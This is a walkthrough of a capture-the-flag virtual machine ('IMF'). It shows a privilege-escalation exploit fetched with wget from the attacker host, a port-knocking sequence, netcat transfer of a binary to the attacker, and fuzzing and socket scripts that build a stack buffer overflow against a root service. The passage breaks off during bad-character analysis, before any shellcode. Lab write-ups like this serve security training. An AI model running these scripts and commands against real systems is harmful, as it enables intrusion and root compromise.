www-data@imf:/$ cd /tmp
www-data@imf:/tmp$ wget -O 46362.py 10.183.0.222:4321/46362.py
--2019-05-04 09:41:25--  http://10.183.0.222:4321/46362.py
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13831 (14K) [text/plain]
Saving to: '46362.py'

46362.py            100%[===================>]  13.51K  --.-KB/s    in 0s      

2019-05-04 09:41:25 (249 MB/s) - '46362.py' saved [13831/13831]
www-data@imf:/tmp$ python3 46362.py

      ___  _ ____ ___ _   _     ____ ____ ____ _  _
      |  \ | |__/  |   \_/      [__  |  | |    |_/  
      |__/ | |  \  |    |   ___ ___] |__| |___ | \_
                       (version 2)

//=========[]==========================================\\
|| R&D     || initstring (@init_string)                ||
|| Source  || https://github.com/initstring/dirty_sock ||
|| Details || https://initblog.com/2019/dirty-sock     ||
\\=========[]==========================================//


[+] Slipped dirty sock on random socket file: /tmp/izsbvzusad;uid=0;
[+] Binding to socket file...
[+] Connecting to snapd API...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[!] System may not be vulnerable, here is the API reply:


HTTP/1.1 401 Unauthorized
Content-Type: application/json
Date: Sat, 04 May 2019 13:41:31 GMT
Content-Length: 119

{"type":"error","status-code":401,"status":"Unauthorized","result":{"message":"access denied","kind":"login-required"}}

Well, looks like I'm not authorized to manage snaps, so the exploit won't work. Time to move on...

Looking around common locations, I noticed two interesting files in /usr/local/bin.

www-data@imf:/usr/local/bin$ ls -laF
total 24
drwxr-xr-x  2 root root  4096 Oct 16  2016 ./
drwxr-xr-x 10 root root  4096 Sep 22  2016 ../
-rw-r--r--  1 root root    19 Oct 16  2016 access_codes
-rwxr-xr-x  1 root root 11896 Oct 12  2016 agent*
www-data@imf:/usr/local/bin$ file access_codes
access_codes: ASCII text
www-data@imf:/usr/local/bin$ file agent
agent: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=444d1910b8b99d492e6e79fe2383fd346fc8d4c7, not stripped

I have a text file named access_codes and an elf binary named agent. Checking the contents of the access_codes file...

www-data@imf:/usr/local/bin$ cat access_codes
SYN 7482,8279,9467

That's interesting. Seeing 'SYN' immediately makes me think port numbers. We know none of these ports are open. However, this could be a sequence used for a 'port knocker'. Let's check the running services and see if we have anything that looks like a port knocking listener.

www-data@imf:/$ ps aux | grep -i knock
root      1265  3.0  0.2   8752  2196 ?        Ss   May02  45:23 /usr/sbin/knockd -d
www-data  9151  0.0  0.0  11284   984 ?        S    16:55   0:00 grep -i knock

Yes, indeed! We have knockd running as root. Knockd is typically used to hide your SSH service. It might also be hiding access to the 'agent' service on TCP port 7788. Let's use knock (part of knockd) to do the port knocking and then run a scan of port 22 and 7788 to see if either opens up.

root@kali:~/Walkthroughs/imf# knock 10.183.0.188 7482 8279 9467
root@kali:~/Walkthroughs/imf# nmap -Pn -sT -sV -sC -A -oA imf-post-portknock -p 22,7788 10.183.0.188
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-05 01:25 EDT
Nmap scan report for imf.homenet.dom (10.183.0.188)
Host is up (0.0027s latency).

PORT     STATE    SERVICE VERSION
22/tcp   filtered ssh
7788/tcp open     unknown
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, RPCCheck, RTSPRequest:
|     ___ __ __ ___
|     Agent
|     Reporting
|     |___|_| |_|_| System
|     Agent ID : Invalid Agent ID
|   NULL:
|     ___ __ __ ___
|     Agent
|     Reporting
|     |___|_| |_|_| System
|_    Agent ID :
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/s:
SF-Port7788-TCP:V=7.70%I=7%D=5/5%Time=5CCE73DB%P=x86_64-pc-linux-gnu%r(NUL
SF:L,6F,"\x20\x20___\x20__\x20\x20__\x20___\x20\n\x20\|_\x20_\|\x20\x20\\/
SF:\x20\x20\|\x20__\|\x20\x20Agent\n\x20\x20\|\x20\|\|\x20\|\\/\|\x20\|\x2
SF:0_\|\x20\x20\x20Reporting\n\x20\|___\|_\|\x20\x20\|_\|_\|\x20\x20\x20\x
SF:20System\n\n\nAgent\x20ID\x20:\x20")%r(GenericLines,81,"\x20\x20___\x20
SF:__\x20\x20__\x20___\x20\n\x20\|_\x20_\|\x20\x20\\/\x20\x20\|\x20__\|\x2
SF:0\x20Agent\n\x20\x20\|\x20\|\|\x20\|\\/\|\x20\|\x20_\|\x20\x20\x20Repor
SF:ting\n\x20\|___\|_\|\x20\x20\|_\|_\|\x20\x20\x20\x20System\n\n\nAgent\x
SF:20ID\x20:\x20Invalid\x20Agent\x20ID\x20\n")%r(GetRequest,81,"\x20\x20__
SF:_\x20__\x20\x20__\x20___\x20\n\x20\|_\x20_\|\x20\x20\\/\x20\x20\|\x20__
SF:\|\x20\x20Agent\n\x20\x20\|\x20\|\|\x20\|\\/\|\x20\|\x20_\|\x20\x20\x20
SF:Reporting\n\x20\|___\|_\|\x20\x20\|_\|_\|\x20\x20\x20\x20System\n\n\nAg
SF:ent\x20ID\x20:\x20Invalid\x20Agent\x20ID\x20\n")%r(HTTPOptions,81,"\x20
SF:\x20___\x20__\x20\x20__\x20___\x20\n\x20\|_\x20_\|\x20\x20\\/\x20\x20\|
SF:\x20__\|\x20\x20Agent\n\x20\x20\|\x20\|\|\x20\|\\/\|\x20\|\x20_\|\x20\x
SF:20\x20Reporting\n\x20\|___\|_\|\x20\x20\|_\|_\|\x20\x20\x20\x20System\n
SF:\n\nAgent\x20ID\x20:\x20Invalid\x20Agent\x20ID\x20\n")%r(RTSPRequest,81
SF:,"\x20\x20___\x20__\x20\x20__\x20___\x20\n\x20\|_\x20_\|\x20\x20\\/\x20
SF:\x20\|\x20__\|\x20\x20Agent\n\x20\x20\|\x20\|\|\x20\|\\/\|\x20\|\x20_\|
SF:\x20\x20\x20Reporting\n\x20\|___\|_\|\x20\x20\|_\|_\|\x20\x20\x20\x20Sy
SF:stem\n\n\nAgent\x20ID\x20:\x20Invalid\x20Agent\x20ID\x20\n")%r(RPCCheck
SF:,81,"\x20\x20___\x20__\x20\x20__\x20___\x20\n\x20\|_\x20_\|\x20\x20\\/\
SF:x20\x20\|\x20__\|\x20\x20Agent\n\x20\x20\|\x20\|\|\x20\|\\/\|\x20\|\x20
SF:_\|\x20\x20\x20Reporting\n\x20\|___\|_\|\x20\x20\|_\|_\|\x20\x20\x20\x2
SF:0System\n\n\nAgent\x20ID\x20:\x20Invalid\x20Agent\x20ID\x20\n")%r(DNSVe
SF:rsionBindReqTCP,81,"\x20\x20___\x20__\x20\x20__\x20___\x20\n\x20\|_\x20
SF:_\|\x20\x20\\/\x20\x20\|\x20__\|\x20\x20Agent\n\x20\x20\|\x20\|\|\x20\|
SF:\\/\|\x20\|\x20_\|\x20\x20\x20Reporting\n\x20\|___\|_\|\x20\x20\|_\|_\|
SF:\x20\x20\x20\x20System\n\n\nAgent\x20ID\x20:\x20Invalid\x20Agent\x20ID\
SF:x20\n")%r(DNSStatusRequestTCP,81,"\x20\x20___\x20__\x20\x20__\x20___\x2
SF:0\n\x20\|_\x20_\|\x20\x20\\/\x20\x20\|\x20__\|\x20\x20Agent\n\x20\x20\|
SF:\x20\|\|\x20\|\\/\|\x20\|\x20_\|\x20\x20\x20Reporting\n\x20\|___\|_\|\x
SF:20\x20\|_\|_\|\x20\x20\x20\x20System\n\n\nAgent\x20ID\x20:\x20Invalid\x
SF:20Agent\x20ID\x20\n");
MAC Address: 08:00:27:A1:F5:E7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose  
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   2.69 ms imf.homenet.dom (10.183.0.188)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.10 seconds

Looks like TCP port 7788 opened up for us. We know what it is, we don't know (yet) how to exploit it.

Running the agent binary in /usr/local/bin...

www-data@imf:/usr/local/bin$ ./agent
  ___ __  __ ___
|_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
|___|_|  |_|_|    System


Agent ID : 

That looks familiar. Checking xinetd.d, we can confirm this is the binary running on port 7788 (but the one running there is as root 🙂).

www-data@imf:/$ cat /etc/xinetd.d/agent
# default: on
# description: The agent server serves agent sessions
# unencrypted agentid for authentication.
service agent
{
       flags          = REUSE
       socket_type    = stream
       wait           = no
       user           = root
       server         = /usr/local/bin/agent
       log_on_failure += USERID
       disable        = no
       port           = 7788
}

This smells like a buffer overflow waiting to happen. 😕 I'll try sending it lots of 'A's to see if I can get it to crash...

Nope! Trying over 35000 'A's didn't crash it, so I guess we are good. I'm kind of thankful for that.

Running strings on the agent binary, we get some interesting things, but nothing that looks like an ID. If we could run the program in a debugger, we could probably trace the registers and memory and see what's going on. Unfortunately, gdb is not installed on the victim. We could transfer the agent binary to our attacking machine and debug it there, but we might not have all the symbol tables for the 32-bit libraries used (since our attacking machine is 64-bit). Another option is to use strace and/or ltrace to see "under the hood" while the program is running. strace is a system call and signal tracer. ltrace is a library call tracer and is primarily used to trace calls made by programs to library functions. ltrace can also do what strace does (when using the -S option), so we'll just use ltrace.

www-data@imf:/usr/local/bin$ ltrace -CS -n 4 -o /tmp/agent-trace ./agent
  ___ __  __ ___
|_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
|___|_|  |_|_|    System


Agent ID : 1234
Invalid Agent ID

Now, if we take a look at our trace data we captured...

www-data@imf:/usr/local/bin$ cat /tmp/agent-trace
SYS_brk(0xf770b4c2)                              = 0x88b4000
SYS_access("/etc/ld.so.nohwcap", 00)             = -2
SYS_mmap2(0, 4, 0xf7718000, 0)                   = 0xf76f1000
SYS_access("/etc/ld.so.preload", 04)             = -2
SYS_open("\203\304\020\205\300xD\203\354\004\211\303\215D$\004PSj\003\350B\206", -143587944, 02000000) = 3
SYS_fstat64(0xf770517e, 3, 3, 0xffa942a0)        = 0
SYS_mmap2(0, 0, 0xf7718000, 0)                   = 0xf76e9000
SYS_close(3)                                     = 0
SYS_access("/etc/ld.so.nohwcap", 00)             = -2
SYS_open("\203\304\020\203\370\377\211E\330\017\204z\002", -143715952, 02000000) = 3
SYS_read(-143673437, "\003\004\005\006\a\b\t\n\v\f\r\016\017\020\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037 !""..., 4289283008) = 512
SYS_fstat64(0xf76fa345, 3, 3, 0xffa942e0)        = 0
SYS_mmap2(0, 0, 0xf7718000, 0)                   = 0xf7535000
SYS_mprotect(0xf76fb170, -143777792, 4096)       = 0
SYS_mmap2(0, 0, 0xf7718000, 0)                   = 0xf76e3000
SYS_mmap2(0, 0, 0xf7718000, 0)                   = 0xf76e6000
SYS_close(3)                                     = 0
SYS_mmap2(0xffa94630, 0, 0xf7718000, 0)          = 0xf7534000
SYS_set_thread_area(0xf7534700, 0xfffff, 81, 0)  = 0
SYS_mprotect(0xf7700017, -143773696, 8192)       = 0
SYS_mprotect(0xf7700017, 134520832, 4096)        = 0
SYS_mprotect(0xf7700017, -143560704, 4096)       = 0
SYS_munmap(0xf76e9000, 31719)                    = 0
__libc_start_main(0x80485fb, 1, 0xffa94974, 0x8048970 <unfinished ...>
    setbuf(0xf76e5d60, 0)                        = <void>
    asprintf(0xffa948a8, 0x80489f0, 0x2ddd984, 0xf754d0ec <unfinished ...>
        SYS_brk(0xf76e5000)                      = 0x88b4000
        SYS_brk(0xf76e5000)                      = 0x88d5000
    <... asprintf resumed> )                     = 8
    puts("  ___ __  __ ___ " <unfinished ...>
        SYS_write(17, "  ___ __  __ ___ ", 4150301667) = 17
        SYS_write(1, "\nphn\367\377\377\377\377\377\377\377\377", 4150301667) = 1
    <... puts resumed> )                         = 18
    puts(" |_ _|  \\/  | __|  Agent" <unfinished ...>
        SYS_write(24, " |_ _|  \\/  | __|  Agent", 4150301667) = 24
        SYS_write(1, "\nphn\367\377\377\377\377\377\377\377\377", 4150301667) = 1
    <... puts resumed> )                         = 25
    puts("  | || |\\/| | _|   Reporting" <unfinished ...>
        SYS_write(28, "  | || |\\/| | _|   Reporting", 4150301667) = 28
        SYS_write(1, "\nphn\367\377\377\377\377\377\377\377\377", 4150301667) = 1
    <... puts resumed> )                         = 29
    puts(" |___|_|  |_|_|    System\n" <unfinished ...>
        SYS_write(26, " |___|_|  |_|_|    System\n", 4150301667) = 26
        SYS_write(1, "\nphn\367\377\377\377\377\377\377\377\377", 4150301667) = 1
    <... puts resumed> )                         = 27
    printf("\nAgent ID : " <unfinished ...>
        SYS_write(12, "\nAgent ID : ", 4150301667) = 12
    <... printf resumed> )                       = 12
    fgets( <unfinished ...>
        SYS_fstat64(0xffa946a0, 0xffa946a0, 0xf7608a35, 0xf76e5000) = 0
        SYS_read(4096, "1234\n", 4150301555)     = 5
    <... fgets resumed> "1234\n", 9, 0xf76e55a0) = 0xffa948ae
    strncmp("1234\n", "48093572", 8)             = -1
    puts("Invalid Agent ID " <unfinished ...>
        SYS_write(17, "Invalid Agent ID ", 4150301667) = 17
        SYS_write(1, "\nphn\367\377\377\377\377\377\377\377\377", 4150301667) = 1
    <... puts resumed> )                         = 18
    SYS_exit_group(1 <no return ...>
+++ exited (status 254) +++

Interesting. We can see the strncmp call comparing what we entered (1234) to what it is looking for (48093572). Let's run our program again and try the new Agent ID.

www-data@imf:/usr/local/bin$ ltrace -CS -n 4 -o /tmp/agent-trace ./agent
  ___ __  __ ___
|_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
|___|_|  |_|_|    System


Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection:

Great! 😄 Working through the menu items, the "Request Extraction" and "Submit Report" items both allow user input that is echoed back to the screen. Looking at the trace for each, we can see:
  • "Request Extraction" uses fgets to get input from the user until it hits a return... it then calls getchar
  • "Submit Report" uses gets to get input from the user until it hits a return

Request Extraction
    fgets( <unfinished ...>
        SYS_read(4096, "test\n", 4150539123)     = 5
    <... fgets resumed> "test\n", 55, 0xf771f5a0) = 0xfff55fb7
    getchar(0xfff55ff8, 0x74743ff0, 0xa747365, 0 <unfinished ...>
        SYS_read(4096, "\n", 4150539123)         = 1
    <... getchar resumed> )                      = 10


Submit Report
    gets(0xff9d0a34, 0x8048278, 1, 0xf77ec918 <unfinished ...>
        SYS_read(4096, "test\n", 4151169907)     = 5
    <... gets resumed> )

Checking on these functions, we know that gets is more susceptible to buffer overflows. Looks like we are back to trying to find a buffer overflow in the program. Oh joy! I'll go ahead and transfer the binary to my attacking machine using netcat and start the process of trying to find a buffer overflow.

On my attacking machine...

root@kali:~/Walkthroughs/imf# nc -vlp 4321 > agent
listening on [any] 4321 ...
connect to [10.183.0.222] from imf.homenet.dom [10.183.0.188] 42894

On the victim...

www-data@imf:/usr/local/bin$ nc 10.183.0.222 4321 < agent

Now that we have the agent binary, we'll create a python script to run the application and start sending an increasing amount of 'A's to the Submit Report option until we crash the process.

root@kali:~/Walkthroughs/imf# cat fuzz.py
#!/usr/bin/python

import pexpect

# create an array of buffers (31), from 1,100,200...3000 (increments of 100).
buffer=["A"]
counter=100
while len(buffer) <= 30:
  buffer.append("A"*counter)
  counter=counter+100

# start sending each buffer to see if/when the program crashes
for string in buffer:
  try:
    print "Fuzzing with %s bytes" % len(string)
    child = pexpect.spawn('./agent')
    child.expect('Agent ID : ')
    child.sendline('48093572')
    child.expect('Enter selection: ')
    child.sendline('3')
    child.expect('Enter report update: ')
    child.sendline(string)
    child.expect(pexpect.EOF)
    child.close()
    if child.exitstatus is None:
      returncode = child.signalstatus
    else:
      returncode = child.exitstatus
    if returncode == 11:
      raise BufferError("Crashed! %s" % returncode)
  except BufferError as error:
    print "Buffer overflow detected with %s bytes" % len(string)
    break
  except:
    print(str(child))
    break

When we run this, we get the following.

root@kali:~/Walkthroughs/imf# python fuzz.py
Fuzzing with 1 bytes
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Buffer overflow detected with 200 bytes

Good start. Now we can generate our unique string using pattern_create.rb and see exactly how many 'A's it takes to overwrite the eip (Extended Instruction Pointer).

root@kali:~/Walkthroughs/imf# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 250 > pattern.txt

Debugging the program using gdb, we get the following.

root@kali:~/Walkthroughs/imf# gdb -q agent
Reading symbols from agent...(no debugging symbols found)...done.
(gdb) run
Starting program: /root/Walkthroughs/imf/agent
  ___ __  __ ___
|_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
|___|_|  |_|_|    System


Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3

Enter report update: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1AeA
Report: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6A
Submitted for review.

Program received signal SIGSEGV, Segmentation fault.
0x41366641 in ?? ()

The crash returns the invalid information (our pattern) it hit in the eip. Now, we can use pattern_offset.rb to see exactly where that part of our pattern is (so we know how many bytes we have to send to overwrite eip).

root@kali:~/Walkthroughs/imf# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641
[*] Exact match at offset 168

Now we want to try to send 168 'A's, 4 'B's and (700-168-4) 'C's. We are sending the 'C's to see how much we can overflow the buffer (so we know how much space we might have for our exploit). We'll use python to build our string.

root@kali:~/Walkthroughs/imf# python -c 'print "A"*168 + "B"*4 + "C"*(700-168-4)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Running the program in our debugger again, it looks like our eip is full of 'B's now (0x42424242), which is exactly what we wanted.

Enter report update: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC
Report: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC
Submitted for review.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info registers
eax            0xffffcfb4          -12364
ecx            0xf7fa2890          -134600560
edx            0x16                22
ebx            0x0                 0
esp            0xffffd060          0xffffd060
ebp            0x41414141          0x41414141
esi            0xf7fa1000          -134606848
edi            0xf7fa1000          -134606848
eip            0x42424242          0x42424242
eflags         0x10282             [ SF IF RF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99

Also, checking the eax register, we can see our ABCs are filling the register pretty well, but there is one random 4 bytes (the eax address?) that we didn't write. We can also see that our 'C's had no problem filling up as much space as we want.

(gdb) x/152x $eax
0xffffcfb4:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcfc4:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcfd4:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcfe4:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcff4:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd004:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd014:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd024:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd034:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd044:     0x41414141      0x41414141      0xffffcfb4      0x41414141
0xffffd054:     0x41414141      0x41414141      0x42424242      0x43434343
0xffffd064:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd074:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd084:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd094:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd0a4:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd0b4:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd0c4:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd0d4:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd0e4:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd0f4:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd104:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd114:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd124:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd134:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd144:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd154:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd164:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd174:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd184:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd194:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd1a4:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd1b4:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd1c4:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd1d4:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd1e4:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd1f4:     0x43434343      0x43434343      0x43434343      0x43434343
0xffffd204:     0x43434343      0x43434343      0x43434343      0x43434343

The next step will be to check to see if there are any bad characters. We need to be able to send a bunch of hex characters to the program, so we won't be able to do that interactively. What I'll do is use netcat to have the program listen on a port on my attacking machine, then use a python script to connect to it and send the bad characters. I'll also need to have my debugger attach to the agent process (after the python script connects) so we can check the registers after the crash. To give me some time to attach the debugger, I'll add a 'sleep' to my python script. Going ahead and setting this script up will be good because we'll use the same process to connect to and overflow the process running on our victim (on TCP port 7788). Here's what the final product looks like.

root@kali:~/Walkthroughs/imf# cat sock-badchars.py
#!/usr/bin/python
import socket
import time

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

# bad chars
# \x00\x0a

buffer = "A"*168 + "B"*4 + badchars

try:
  print "Sending evil buffer..."
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(2)
  s.connect(('10.183.0.222',7788))
  s.recv(1024)
  time.sleep(10)
  s.send('48093572' + '\n')
  s.recv(1024)
  s.send('3' + '\n')
  s.send(buffer + '\n')
  print "Done!"
except:
  print "Could not connect to TCP port 7788"

You might can see I have '\x00' and '\x0a' identified as bad characters. I didn't even try to send '\x00' (the NULL character), but I was able to determine '\x0a' was a bad character by doing the following...

Start a netcat listener with the agent binary...

root@kali:~/Walkthroughs/imf# nc -ve agent -lp 7788
listening on [any] 7788 ...

Start my python script that sends bad characters...

root@kali:~/Walkthroughs/imf# python sock-badchars.py
Sending evil buffer...

Start my debugger (attached to the agent process)...

root@kali:~/Walkthroughs/imf# gdb -q attach $(pgrep agent) -ex continue
attach: No such file or directory.
Attaching to process 461
Reading symbols from /root/Walkthroughs/imf/agent...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
0xf7eda079 in __kernel_vsyscall ()
Continuing.

Then I wait a few seconds for my timeout to complete... once it finishes sending the bad characters, I can check the eax register to see if/where any bad characters might have broken things.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/100x $eax
0xfff52ab4:     0x41414141      0x41414141      0x41414141      0x41414141
0xfff52ac4:     0x41414141      0x41414141      0x41414141      0x41414141
0xfff52ad4:     0x41414141      0x41414141      0x41414141      0x41414141
0xfff52ae4:     0x41414141      0x41414141      0x41414141      0x41414141
0xfff52af4:     0x41414141      0x41414141      0x41414141      0x41414141
0xfff52b04:     0x41414141      0x41414141      0x41414141      0x41414141
0xfff52b14:     0x41414141      0x41414141      0x41414141      0x41414141
0xfff52b24:     0x41414141      0x41414141      0x41414141      0x41414141
0xfff52b34:     0x41414141      0x41414141      0x41414141      0x41414141
0xfff52b44:     0x41414141      0x41414141      0xfff52ab4      0x41414141
0xfff52b54:     0x41414141      0x41414141      0x42424242      0x04030201
0xfff52b64:     0x08070605      0x09670009      0x383489bb      0x35333930
0xfff52b74:     0xff003237      0x00000003      0x0a048991      0xf7eeb560
0xfff52b84:     0xfff52ba0      0x00000000      0xf7ce8b41      0xf7ea8000
0xfff52b94:     0xf7ea8000      0x00000000      0xf7ce8b41      0x00000001
0xfff52ba4:     0xfff52c34      0xfff52c3c      0xfff52bc4      0x00000001
0xfff52bb4:     0x00000000      0xf7ea8000      0xffffffff      0xf7f04000
0xfff52bc4:     0x00000000      0xf7ea8000      0xf7ea8000      0x00000000
0xfff52bd4:     0xc8a902b7      0xbfe844a7      0x00000000      0x00000000
0xfff52be4:     0x00000000      0x00000001      0x08048500      0x00000000
0xfff52bf4:     0xf7ef06d0      0xf7eeb560      0xf7f04000      0x00000001
0xfff52c04:     0x08048500      0x00000000      0x08048521      0x080485fb
0xfff52c14:     0x00000001      0xfff52c34      0x08048970      0x080489d0
0xfff52c24:     0xf7eeb560      0xfff52c2c      0xf7f04950      0x00000001
0xfff52c34:     0xfff5429e      0x00000000      0xfff542a4      0xfff542b4

Following the values, after our 'B's (0x42424242) you can see \x01-\x09 worked fine, but then \x0a did not make it. Knowing this, we go back to our python script, remove \x0a from our list of bad characters and start the process again. In our case, when we ran the process again and checked the stack, all our other bad characters made it through.

(gdb) x/124x 0xffa5aec4
0xffa5aec4:     0x41414141      0x41414141      0x41414141      0x41414141
0xffa5aed4:     0x41414141      0x41414141      0x41414141      0x41414141
0xffa5aee4:     0x41414141      0x41414141      0x41414141      0x41414141
0xffa5aef4:     0x41414141      0x41414141      0x41414141      0x41414141
0xffa5af04:     0x41414141      0x41414141      0x41414141      0x41414141
0xffa5af14:     0x41414141      0x41414141      0x41414141      0x41414141
0xffa5af24:     0x41414141      0x41414141      0x41414141      0x41414141
0xffa5af34:     0x41414141      0x41414141      0x41414141      0x41414141
